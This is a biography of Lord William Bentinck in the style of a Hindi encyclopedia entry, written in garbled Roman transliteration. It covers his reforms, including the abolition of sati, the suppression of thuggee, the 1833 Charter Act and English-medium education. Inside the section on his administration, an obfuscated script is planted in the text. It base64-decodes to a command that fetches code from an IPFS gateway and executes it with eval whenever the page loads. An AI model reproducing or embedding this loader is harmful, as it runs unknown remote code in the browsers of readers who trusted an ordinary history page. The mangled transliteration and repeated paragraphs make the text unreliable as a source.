लॉर्ड विलियम बैंटिक
thumb|l aaurd viliyam baiantik l aaurd viliyam baiantik, jinhean 'viliyam kaiveandish baitiang' ke nam se bhi jana jata hai, ko bharat ka pratham gavarnar-janaral ka pad sushobhit karane ka gaurav prapt hai. pahale vah madras ke gavarnar banakar bharat aye the. unaka shasanakal adhikaanshat: shaanti ka kal tha. l aaurd viliyam baiantik ne bharatiy riyasatoan ke mamale mean ahastakshep ki niti ko apanaya tha. unhoanne panjab ke maharaja ranajit sianh se sandhi ki thi, jisake dvara aangrez aur maharaja ranajit sianh ne siandh ke marg se vyapar ko badhava dena svikar kiya tha. viliyam baiantik ke bharatiy samaj mean kie ge sudhar aj bhi prasiddh haian. sati pratha ko samapt karane mean unaka mahattvapoorn yogadan tha. apane shasanakal ke aantim samay mean vah bangal ke gavarnar-janaral rahe the.
bharat agaman
l aaurd viliyam baiantik pahale madras ke gavarnar ki haisiyat se bharat aye the, lekin 1806 ee. mean vellor mean sipahi vidroh ho jane par unhean vapas bula liya gaya. ikkis varshoan ke bad l aaurd emaharst dvara tyagapatr de dene par unhean gavarnar-janaral niyukt kiya gaya tha aur unhoanne julaee 1828 ee. mean yah pad grahan kar liya.
baiantik ka shasanakal
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l aaurd viliyam baiantik ne bharatiy sena mean prachalit ko de lagane ki pratha ko samapt kar diya. bharatiy nadiyoan mean stimar chalavane arambh kiye, agara kshetr mean krishi bhoomi ka bandobast karaya. bharatiyoan ko eest indiya kampani ki nimn naukariyoan ko chho dakar ooanchi naukariyoan se alag rakhane ki galat niti ko ulat diya aur bharatiyoan ki sahayak jaj jaise uchch padoan par niyuktiyaan kian. unhoanne bharatiyoan ki niyuktiyaan achchhe vetan par 'dipti majistret' jaise prashasakiy padoan par ki tatha 'divijanal kamishnaroan (mandal ayukt)' ke padoan ki sthapana ki.
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> viliyam baiantik ke sat varsh ke shasanakal mean koee bhi yuddh nahian hua aur pray: shanti hi bani rahi. yadyapi unhoanne yuddh ke dvara koee naya pradesh nahian jita, tathapi 1830 ee. mean 'kachhar' (asam) ke uttaradhikariyoan ka apas mean koee nirnay n hone par us par qabza kar liya gaya. isi prakar 1834 ee. mean shasakiy ayogyata ke karan dakshin ka kurg ilaqa evan 1835 ee. mean asam ka 'jayantiya' paragana british bharat mean mila liya liya, kyoanki usake shasak ne un adamiyoan ko sauanpane se inkar kar diya tha, jo british nagarikoan ko utha le gaye the aur kali devi ke age unaki bali chadha di thi.
niti
samanyat: l aaurd viliyam baiantik ne deshi riyasatoan ke mamaloan mean hastakshep n karane ki niti ka anusaran kiya. lekin 1831 ee. mean maisoor naresh ke lambe kushasan ke karan usake rajy ko british prashasan ke aantargat le liya gaya. baiantik bharatiy samrajy ke vibhinn prantoan ki svayan janakari rakhane ke uddeshy se bahut adhik daure kiya karate the. 1829 ee. mean vah malay prayadvip gaye aur usaki rajadhani penaang se siangapur sthanantarit kar di. ianglaind ki sarakar ke nirdesh par unhoanne siandh ke amiroan se vyavasayik sandhiyaan kian, jisake phalasvaroop sindhu ka jalamarg aangrezoan ki jahazarani ke lie khul gaya. 1831 ee. mean unhoanne panjab ke maharaja ranajit sianh se sandhi ki, jisake phalasvaroop aangrezoan aur maharaja ne sataluj aur oopari sindh ke marg se vyapar ko protsahit karana svikar kar liya. unake dvara ek galat niti ka sootrapat is roop mean ho gaya ki, amir dost muhammad se afaganistan ki rajagaddi prapt karane ke lie nirvasit shahashuja ko protsahit kiya gaya. is galat niti ke phalasvaroop 1838-1842 ee. mean pratham afagan yuddh mean aangrezoan ko bhari kshati uthani p di, yadyapi bad mean siandh ko aangrezi rajy mean mila liya gaya tha.
samajik sudhar ke kary
viliyam baiantik ke shasan ka mahattv unake prashasakiy evan samajik sudharoan ke karan hai, jinake phalasvaroop vah bahut hi lokapriy hue. inaka arambh sainik aur asainik sevaoan mean kifayatashari baratane se hua. unhoanne rajasv, visheshakar afim ke ekadhikar se hone vali ay mean bhari vriddhi ki. phalat: jis varshik bajat mean ghate hote rahate the, unamean bahut bachat hone lagi. unhoanne bharatiy sena mean prachalit ko de lagane ki pratha ko bhi samapt kar diya. bharatiy nadiyoan mean stimar chalavane arambh kiye, agara kshetr mean krishi bhoomi ka bandobast karaya, jisase rajasv mean vriddhi huee, tatha kisanoan ke dvara di jane vali malaguzari ka uchit nirdharan kar unhean adhikar ke abhilekh dilavaye. baiantik ne l aaurd karnavalis ki bharatiyoan ko kampani ki nimn naukariyoan ko chho dakar ooanchi naukariyoan se alag rakhane ki galat niti ko ulat diya aur bharatiyoan ki sahayak jaj jaise uchch padoan par niyuktiyaan kian. zila majistret tatha zila kalektar ke pad ko milakar ek kar diya, pradeshik adalatoan ko samapt kar diya, bharatiyoan ki niyuktiyaan achchhe vetan par dipti majistret jaise prashasakiy padoan par ki tatha 'divijanal kamishnaroan (mandal ayukt)' ke padoan ki sthapana ki. is prakar usane bharatiy prashasakiy dhaanche ko usaka adhunik roop pradan kiya.
bharatiyoan mean lokapriyata
l aaurd baiantik ke samajik sudhar bhi kuchh kam mahattv ke nahian the. 1829 ee. mean usane sati pratha ko samapt kar diya. karnal sliman ke sahayog se usane thagi ka unmoolan kiya. us samay thagoan ka deshavyapi gupt sangathan tha, ve desh bhar mean ghoota karate the aur bhole-bhale yatriyoan ki rumal se gala ghoantakar hatya kar diya karate the aur unaka sara mal loot lete the. 1832 ee. mean dharm-parivartan se hone vali sabhi ayogyataoan ko samapt kar diya gaya. 1833 ee. mean kampani ke adhikar patr ko agale bis varshoan ke lie navin kar diya gaya. isase kampani chin ke vyavasay par ekadhikar se vanchit ho gee. ab vah matr prashasakiy sanstha rah gee. naye chartar ekt ke dvara anek mahattvapoorn parivartan kiye gaye. bangal ke gavarnar-janaral ke pad ka nam badalakar bharat ka gavarnar-janaral kar diya gaya. gavarnar-janaral ki kauansil ki sadasy sankhya badhakar char kar di gee tatha yah siddhant nirdisht kiya gaya ki koee bhi bharatiy, matr apane dharm, janm athava rang ke karan kampani ke aantargat kisi pad se, yadi vah usake lie yogy ho, vanchit nahian kiya jayega.
samachar-patroan ki svatantrata
l aaurd viliyam baiantik ne sarakari sevaoan mean bhed-bhavapoorn vyavahar ko khatm karane ke lie 1833 ee. ke ekt ki dhara 87 ke anusar jati ya rang ke sthan par yogyata ko hi seva ka adhar mana. viliyam baiantik ne samachar-patroan ke prati udar drishtikon apanate hue unaki svatantrata ki vakalat ki. vah ise ‘asantosh se raksha ka abhidvar’ manate the. unhoanne madras ke sainik vidroh ka ullekh karate hue bataya ki, kalakatta (vartaman kolakata) aur madras donoan jagah sthiti ek jaisi thi, kintu madras mean vidroh isalie tha, kyoanki vahaan samachar-patroan ki svatantrata nahian thi. is prakar viliyam baiantik bharatiy samachar-patroan ko mukt karana chahate the. kintu 1835 ee.mean kharab svasthy ke adhar par viliyam baiantik dvara istifa dene ke karan samachar-patroan se pratibandh hata lene ka shrey usake paravarti gavarnar-janaral charls metak aauf ko mila.
shaikshik sudhar
shiksha ke kshetr mean viliyam baiantik ne mahattvapoorn sudhar kiye. unhoanne shiksha ke uddeshy evan madhyam, donoan par par gahara adhyayan kiya. shiksha ke lie anudan ka prayog kaise kiya jay, yah vicharaniy vishay raha. vivad phansa tha ki, anudan ka prayog prachy sahity ke vikas ke lie kiya jay ya phir pashchaty sahity ke vikas ke lie. prachy shiksha ke samarthakoan ka netritv 'vilsan' v 'priansep' ne kiya tatha pashchaty vidya ke samarthakoan ka netritv ‘trevaliyan’ ne, jisako raja ramamohan ray ka bhi samarthan prapt tha. antatah is vivad ke nipatare ke lie l aaurd maikale ki adhyakshata mean ek samiti bani, jisane pashchaty vidya ke samarthan mean apana nirnay diya. usane apane vicharoan ko 2 faravari, 1835 ee. ke suprasiddh smaran patr mean pratipadit kiya. apane prastavoan mean l aaurd maikale ki yojana thi ki, "ek aisa varg banaya jay, jo rang tatha rakt se to bharatiy ho, parantu pravriti, vichar, naitikata tatha buddhi se aangrez ho.' maikale ke vichar 7 march, 1835 ee. ko ek prastav dvara anumodi kar die ge, jisase yah nishchit hua ki, uchch stariy prashasan ki bhasha aangrezi hogi. 1835 ee. mean hi l aaurd viliyam baiantik ne kalakatta mean ‘kalakatta medikal k aaulej’ ki nianv rakhi.
kampani ke rajasv mean vriddhi
vittiy sudharoan ke antargat viliyam baiantik ne sainikoan ko di jane vali bhatte ki rashi ko kam kar diya. ab kalakatta ke 400 mil ki paridhi mean niyukt hone par bhatta adha kar diya gaya. bangal mean bhoo-rajasv ko ekatr karane ke kshetr mean prabhavakari prayas kiye gaye. 'rabart matins bard' ke nirikshan mean 'pashchimottar praant' mean (adhunik uttar pradesh) aisi bhoo-kar vyavastha ki gee, jisase adhik kar ekatr hone laga. aphim ke vyapar ko niyamit karate hue ise keval bambee bandaragah se niryat ki suvidha di gee. isaka parinam yah hua ki eest indiya kampani ko niryat kar ka bhi bhag milane laga, jisase usake rajasv mean b di zabardast vriddhi huee.
nyalalay ki bhasha
l aaurd viliyam baiantik ne l aaurd k aaurnav aaulis dvara sthapit prantiy, apiliy tatha sarkit nyayalayoan ko band karavakar, isaka kary majistret tatha kalektaroan mean baant diya. nyayalayoan ki bhasha farasi ke sthan par vikalp ke roop mean sthaniy bhashaoan ke prayog ki anumati di gee. ooanche star ke nyayalayoan mean aangrezi ka prayog hota tha.
pratham bharatiy gavarnar-janaral
1833 ee. ke chartar ekt dvara bangal ke gavarnar-janaral ko bharat ka gavarnar-janaral bana diya gaya. is prakar bharat ka pahala gavarnar-janaral "l aaurd viliyam baiantik" ko hi banaya gaya.
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